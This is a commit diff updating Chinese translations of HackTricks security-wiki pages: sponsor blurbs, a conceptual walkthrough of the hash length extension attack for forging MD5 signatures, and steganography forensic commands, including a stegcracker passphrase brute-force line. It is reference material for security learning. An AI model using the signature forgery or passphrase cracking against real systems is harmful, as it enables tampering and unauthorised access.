mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack.
This commit is contained in:
parent
6100279cde
commit
05d146be07
86 changed files with 1653 additions and 3220 deletions
70
README.md
70
README.md
|
@ -5,7 +5,7 @@
|
|||
_Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
{% hint style="success" %}
|
||||
**欢迎来到这个维基,在这里你将找到我从CTF、现实生活应用、阅读研究和新闻中学到的每一个黑客技巧/技术/无论什么。**
|
||||
**欢迎来到这个维基,在这里你将找到我从CTF、现实生活应用、阅读研究和新闻中学到的每一个黑客技巧/技术/无论是什么。**
|
||||
{% endhint %}
|
||||
|
||||
要开始,请遵循此页面,在这里你将找到**你在进行一个或多个机器的渗透测试时应该遵循的典型流程:**
|
||||
|
@ -22,9 +22,9 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
|
|||
|
||||
[**STM Cyber**](https://www.stmcyber.com) 是一家优秀的网络安全公司,其口号是**HACK THE UNHACKABLE**。他们进行自己的研究并开发自己的黑客工具,以**提供多种有价值的网络安全服务**,如渗透测试、红队和培训。
|
||||
|
||||
你可以在[**https://blog.stmcyber.com**](https://blog.stmcyber.com)查看他们的**博客**。
|
||||
你可以查看他们的**博客**在 [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
||||
|
||||
**STM Cyber** 还支持网络安全开源项目,如 HackTricks :)
|
||||
**STM Cyber** 还支持像 HackTricks 这样的网络安全开源项目 :)
|
||||
|
||||
***
|
||||
|
||||
|
@ -32,7 +32,7 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
|
|||
|
||||
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) 是**西班牙**最重要的网络安全事件之一,也是**欧洲**最重要的活动之一。该大会的**使命是促进技术知识**,是技术和网络安全专业人士在各个学科的一个热闹的交流平台。
|
||||
[**RootedCON**](https://www.rootedcon.com) 是**西班牙**最重要的网络安全事件之一,也是**欧洲**最重要的活动之一。这个大会的**使命是促进技术知识**,是各个学科的技术和网络安全专业人士的热烈交流点。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -44,7 +44,7 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
|
|||
|
||||
**Intigriti** 是**欧洲第一**的道德黑客和**漏洞赏金平台**。
|
||||
|
||||
**漏洞赏金提示**:**注册** **Intigriti**,这是一个由黑客为黑客创建的高级**漏洞赏金平台**!今天就加入我们,访问[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达**$100,000**的赏金!
|
||||
**漏洞赏金提示**:**注册** **Intigriti**,这是一个由黑客为黑客创建的高级**漏洞赏金平台**!今天就加入我们,访问 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达**$100,000**的赏金!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -55,7 +55,7 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
|
|||
<figure><img src=".gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流程**,由世界上**最先进**的社区工具提供支持。
|
||||
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 轻松构建和**自动化工作流程**,由世界上**最先进**的社区工具提供支持。
|
||||
|
||||
今天就获取访问权限:
|
||||
|
||||
|
@ -67,13 +67,13 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
|
|||
|
||||
<figure><img src=".gitbook/assets/image (50).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和漏洞赏金猎人交流!
|
||||
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
|
||||
|
||||
* **黑客见解**:参与深入探讨黑客的刺激和挑战的内容
|
||||
* **实时黑客新闻**:通过实时新闻和见解,跟上快速变化的黑客世界
|
||||
* **最新公告**:了解最新的漏洞赏金发布和重要平台更新
|
||||
|
||||
**加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),今天就开始与顶级黑客合作!
|
||||
**加入我们在** [**Discord**](https://discord.com/invite/N3FrSbmwdy),今天就开始与顶级黑客合作!
|
||||
|
||||
***
|
||||
|
||||
|
@ -81,60 +81,26 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**即时可用的漏洞评估和渗透测试设置**。使用20多个工具和功能,从侦察到报告,随时进行全面的渗透测试。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取shell并享受乐趣。
|
||||
**即时可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,使用20多个工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取shell并享受乐趣。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
***
|
||||
|
||||
### [SerpApi](https://serpapi.com/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SerpApi 提供快速且简单的实时API,以**访问搜索引擎结果**。他们抓取搜索引擎,处理代理,解决验证码,并为你解析所有丰富的结构化数据。
|
||||
|
||||
订阅SerpApi的计划之一包括访问50多个不同的API,用于抓取不同的搜索引擎,包括Google、Bing、百度、Yahoo、Yandex等。\
|
||||
与其他提供商不同,**SerpApi不仅仅抓取自然结果**。SerpApi的响应始终包括所有广告、内联图像和视频、知识图谱以及搜索结果中存在的其他元素和功能。
|
||||
|
||||
当前的SerpApi客户包括**Apple、Shopify和GrubHub**。\
|
||||
有关更多信息,请查看他们的[**博客**](https://serpapi.com/blog/)**,**或在他们的[**游乐场**](https://serpapi.com/playground)**中尝试示例。**\
|
||||
你可以在[**这里**](https://serpapi.com/users/sign\_up)**创建一个免费账户。**
|
||||
|
||||
***
|
||||
|
||||
### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
|
||||
|
||||
<figure><img src=".gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### [WebSec](https://websec.nl/)
|
||||
|
||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl) 是一家总部位于**阿姆斯特丹**的专业网络安全公司,帮助**保护**全球企业免受最新网络安全威胁,通过提供**进攻性安全服务**以**现代**的方式。
|
||||
[**WebSec**](https://websec.nl) 是一家总部位于**阿姆斯特丹**的专业网络安全公司,帮助**保护**全球企业免受最新网络安全威胁,通过提供**进攻性安全服务**,采用**现代**方法。
|
||||
|
||||
WebSec 是一家**一体化安全公司**,这意味着他们做所有事情;渗透测试、**安全**审计、意识培训、网络钓鱼活动、代码审查、漏洞开发、安全专家外包等等。
|
||||
WebSec 是一家**一体化安全公司**,这意味着他们提供所有服务;渗透测试、**安全**审计、意识培训、网络钓鱼活动、代码审查、漏洞开发、安全专家外包等。
|
||||
|
||||
WebSec的另一个酷点是,与行业平均水平不同,WebSec对他们的技能**非常自信**,以至于他们**保证最佳质量结果**,他们在网站上声明“**如果我们无法攻破它,你就不需要支付!**”。有关更多信息,请查看他们的[**网站**](https://websec.nl/en/)和[**博客**](https://websec.nl/blog/)!
|
||||
WebSec 还有一个很酷的特点,与行业平均水平不同,WebSec 对他们的技能**非常自信**,甚至**保证最佳质量结果**,他们在网站上声明“**如果我们无法攻破它,你就不需要支付!**”。有关更多信息,请查看他们的[**网站**](https://websec.nl/en/)和[**博客**](https://websec.nl/blog/)!
|
||||
|
||||
除了上述内容,WebSec 还是**HackTricks的坚定支持者**。
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个**暗网**驱动的搜索引擎,提供**免费**功能,以检查公司或其客户是否被**窃取恶意软件**所**入侵**。
|
||||
|
||||
WhiteIntel的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
你可以在以下网址查看他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
## License & Disclaimer
|
||||
|
||||
|
@ -150,16 +116,16 @@ WhiteIntel的主要目标是打击由于信息窃取恶意软件导致的账户
|
|||
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持HackTricks</summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord小组**](https://discord.gg/hRep4RUj7f)或[**电报小组**](https://t.me/peass),或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Hash Length Extension Attack
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -10,49 +10,36 @@
|
|||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
## 攻击总结
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
想象一个服务器,它通过将一个**秘密**附加到一些已知的明文数据上并对这些数据进行**签名**。如果你知道:
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## 攻击概述
|
||||
|
||||
想象一个服务器,它通过 **附加** 一个 **秘密** 到一些已知的明文数据并对这些数据进行 **签名**。如果您知道:
|
||||
|
||||
* **秘密的长度**(这也可以从给定的长度范围进行暴力破解)
|
||||
* **秘密的长度**(这也可以从给定的长度范围中暴力破解)
|
||||
* **明文数据**
|
||||
* **算法(并且它对这种攻击是脆弱的)**
|
||||
* **填充是已知的**
|
||||
* 通常使用默认填充,因此如果满足其他 3 个要求,这个也满足
|
||||
* 填充根据秘密+数据的长度而变化,这就是为什么需要知道秘密的长度
|
||||
* 通常使用默认填充,因此如果满足其他三个要求,这也是
|
||||
* 填充根据秘密+数据的长度而变化,这就是为什么需要秘密的长度
|
||||
|
||||
那么,**攻击者** 可以 **附加** **数据** 并为 **之前的数据 + 附加的数据** 生成一个有效的 **签名**。
|
||||
那么,**攻击者**可以**附加** **数据**并为**之前的数据 + 附加的数据**生成一个有效的**签名**。
|
||||
|
||||
### 如何?
|
||||
|
||||
基本上,脆弱的算法首先通过 **哈希一个数据块** 来生成哈希,然后 **从** 之前创建的 **哈希**(状态)中 **添加下一个数据块** 并 **哈希它**。
|
||||
基本上,脆弱的算法首先通过**哈希一个数据块**来生成哈希,然后,从**之前**创建的**哈希**(状态)中,**添加下一个数据块**并**哈希它**。
|
||||
|
||||
然后,想象秘密是 "secret",数据是 "data","secretdata" 的 MD5 是 6036708eba0d11f6ef52ad44e8b74d5b。\
|
||||
如果攻击者想要附加字符串 "append",他可以:
|
||||
然后,想象秘密是“secret”,数据是“data”,"secretdata"的 MD5 是 6036708eba0d11f6ef52ad44e8b74d5b。\
|
||||
如果攻击者想要附加字符串“append”,他可以:
|
||||
|
||||
* 生成 64 个 "A" 的 MD5
|
||||
* 生成 64 个“A”的 MD5
|
||||
* 将之前初始化的哈希状态更改为 6036708eba0d11f6ef52ad44e8b74d5b
|
||||
* 附加字符串 "append"
|
||||
* 完成哈希,结果哈希将是 **"secret" + "data" + "padding" + "append" 的有效哈希**
|
||||
* 附加字符串“append”
|
||||
* 完成哈希,结果哈希将是一个**有效的“secret” + “data” + “padding” + “append”**
|
||||
|
||||
### **工具**
|
||||
|
||||
|
@ -60,23 +47,13 @@ WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户
|
|||
|
||||
### 参考
|
||||
|
||||
您可以在 [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) 找到对此攻击的详细解释。
|
||||
你可以在 [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) 找到对这个攻击的详细解释。
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -84,7 +61,7 @@ WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户
|
|||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,33 +1,25 @@
|
|||
# 隐写术技巧
|
||||
# Stego Tricks
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技能:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技能:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard 安全团队**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## **从文件中提取数据**
|
||||
|
||||
### **Binwalk**
|
||||
|
||||
用于搜索二进制文件中嵌入的隐藏文件和数据的工具。通过 `apt` 安装,源代码可在 [GitHub](https://github.com/ReFirmLabs/binwalk) 上找到。
|
||||
一个用于搜索二进制文件中嵌入的隐藏文件和数据的工具。它通过 `apt` 安装,源代码可在 [GitHub](https://github.com/ReFirmLabs/binwalk) 上获取。
|
||||
```bash
|
||||
binwalk file # Displays the embedded data
|
||||
binwalk -e file # Extracts the data
|
||||
|
@ -35,29 +27,29 @@ binwalk --dd ".*" file # Extracts all data
|
|||
```
|
||||
### **Foremost**
|
||||
|
||||
根据文件的头部和尾部恢复文件,对于 png 图像非常有用。通过 `apt` 安装,源代码位于 [GitHub](https://github.com/korczis/foremost)。
|
||||
根据文件的头部和尾部恢复文件,对 png 图像非常有用。通过 `apt` 安装,源代码在 [GitHub](https://github.com/korczis/foremost) 上。
|
||||
```bash
|
||||
foremost -i file # Extracts data
|
||||
```
|
||||
### **Exiftool**
|
||||
|
||||
帮助查看文件元数据,可在[此处](https://www.sno.phy.queensu.ca/\~phil/exiftool/)找到。
|
||||
帮助查看文件元数据,访问 [这里](https://www.sno.phy.queensu.ca/\~phil/exiftool/)。
|
||||
```bash
|
||||
exiftool file # Shows the metadata
|
||||
```
|
||||
### **Exiv2**
|
||||
|
||||
类似于exiftool,用于查看元数据。可通过`apt`安装,在[GitHub](https://github.com/Exiv2/exiv2)上获取源代码,并有一个[官方网站](http://www.exiv2.org/)。
|
||||
类似于 exiftool,用于元数据查看。可以通过 `apt` 安装,源代码在 [GitHub](https://github.com/Exiv2/exiv2),并且有一个 [官方网站](http://www.exiv2.org/)。
|
||||
```bash
|
||||
exiv2 file # Shows the metadata
|
||||
```
|
||||
### **文件**
|
||||
|
||||
确定你正在处理的文件类型。
|
||||
识别您正在处理的文件类型。
|
||||
|
||||
### **字符串**
|
||||
|
||||
提取文件中的可读字符串,使用各种编码设置来过滤输出。
|
||||
从文件中提取可读字符串,使用各种编码设置来过滤输出。
|
||||
```bash
|
||||
strings -n 6 file # Extracts strings with a minimum length of 6
|
||||
strings -n 6 file | head -n 20 # First 20 strings
|
||||
|
@ -71,7 +63,7 @@ strings -e B -n 6 file # 32bit strings (big-endian)
|
|||
```
|
||||
### **比较 (cmp)**
|
||||
|
||||
用于将修改后的文件与在线找到的原始版本进行比较。
|
||||
用于将修改过的文件与在线找到的原始版本进行比较。
|
||||
```bash
|
||||
cmp original.jpg stego.jpg -b -l
|
||||
```
|
||||
|
@ -79,102 +71,102 @@ cmp original.jpg stego.jpg -b -l
|
|||
|
||||
### **空格中的隐藏数据**
|
||||
|
||||
看似空白的空格中可能隐藏着不可见字符。要提取这些数据,请访问 [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder)。
|
||||
看似空白的空间中的不可见字符可能隐藏着信息。要提取这些数据,请访问 [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder)。
|
||||
|
||||
## **从图像中提取数据**
|
||||
|
||||
### **使用GraphicMagick识别图像细节**
|
||||
### **使用 GraphicMagick 识别图像细节**
|
||||
|
||||
[GraphicMagick](https://imagemagick.org/script/download.php) 用于确定图像文件类型并识别潜在的损坏。执行以下命令来检查一个图像:
|
||||
[GraphicMagick](https://imagemagick.org/script/download.php) 用于确定图像文件类型并识别潜在的损坏。执行以下命令以检查图像:
|
||||
```bash
|
||||
./magick identify -verbose stego.jpg
|
||||
```
|
||||
尝试修复损坏的图像时,添加元数据注释可能会有所帮助:
|
||||
要尝试修复损坏的图像,添加元数据注释可能会有所帮助:
|
||||
```bash
|
||||
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
|
||||
```
|
||||
### **Steghide用于数据隐藏**
|
||||
### **Steghide用于数据隐蔽**
|
||||
|
||||
Steghide可用于在`JPEG、BMP、WAV和AU`文件中隐藏数据,能够嵌入和提取加密数据。使用`apt`可以轻松安装,其[源代码可在GitHub上找到](https://github.com/StefanoDeVuono/steghide)。
|
||||
Steghide 便于在 `JPEG, BMP, WAV, 和 AU` 文件中隐藏数据,能够嵌入和提取加密数据。使用 `apt` 安装非常简单,其 [源代码可在GitHub上获取](https://github.com/StefanoDeVuono/steghide)。
|
||||
|
||||
**命令:**
|
||||
**命令:**
|
||||
|
||||
* `steghide info file` 用于查看文件是否包含隐藏数据。
|
||||
* `steghide extract -sf file [--passphrase password]` 用于提取隐藏数据,密码可选。
|
||||
* `steghide info file` 显示文件是否包含隐藏数据。
|
||||
* `steghide extract -sf file [--passphrase password]` 提取隐藏数据,密码为可选项。
|
||||
|
||||
要进行基于Web的提取,请访问[此网站](https://futureboy.us/stegano/decinput.html)。
|
||||
要进行基于网页的提取,请访问 [此网站](https://futureboy.us/stegano/decinput.html)。
|
||||
|
||||
**使用Stegcracker进行暴力破解攻击:**
|
||||
**使用Stegcracker进行暴力破解攻击:**
|
||||
|
||||
* 要在Steghide上尝试密码破解,请使用[stegcracker](https://github.com/Paradoxis/StegCracker.git),如下所示:
|
||||
* 要尝试对Steghide进行密码破解,请使用 [stegcracker](https://github.com/Paradoxis/StegCracker.git) 如下:
|
||||
```bash
|
||||
stegcracker <file> [<wordlist>]
|
||||
```
|
||||
### **zsteg 用于 PNG 和 BMP 文件**
|
||||
### **zsteg for PNG and BMP Files**
|
||||
|
||||
zsteg 专门用于揭示 PNG 和 BMP 文件中的隐藏数据。安装可通过 `gem install zsteg` 完成,其[源代码在 GitHub 上](https://github.com/zed-0xff/zsteg)。
|
||||
zsteg 专注于揭示 PNG 和 BMP 文件中的隐藏数据。安装通过 `gem install zsteg` 完成,其 [源代码在 GitHub](https://github.com/zed-0xff/zsteg)。
|
||||
|
||||
**命令:**
|
||||
**Commands:**
|
||||
|
||||
* `zsteg -a file` 在文件上应用所有检测方法。
|
||||
* `zsteg -a file` 对文件应用所有检测方法。
|
||||
* `zsteg -E file` 指定用于数据提取的有效载荷。
|
||||
|
||||
### **StegoVeritas 和 Stegsolve**
|
||||
### **StegoVeritas and Stegsolve**
|
||||
|
||||
**stegoVeritas** 检查元数据,执行图像转换,并应用 LSB 强制破解等其他功能。使用 `stegoveritas.py -h` 查看所有选项的完整列表,使用 `stegoveritas.py stego.jpg` 执行所有检查。
|
||||
**stegoVeritas** 检查元数据,执行图像转换,并应用 LSB 暴力破解等功能。使用 `stegoveritas.py -h` 获取完整选项列表,使用 `stegoveritas.py stego.jpg` 执行所有检查。
|
||||
|
||||
**Stegsolve** 应用各种颜色滤镜以显示图像中隐藏的文本或消息。可在[GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve)上找到。
|
||||
**Stegsolve** 应用各种颜色滤镜以揭示图像中的隐藏文本或消息。它可在 [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve) 上获取。
|
||||
|
||||
### **FFT 用于隐藏内容检测**
|
||||
### **FFT for Hidden Content Detection**
|
||||
|
||||
快速傅里叶变换 (FFT) 技术可揭示图像中的隐藏内容。有用的资源包括:
|
||||
快速傅里叶变换 (FFT) 技术可以揭示图像中的隐蔽内容。实用资源包括:
|
||||
|
||||
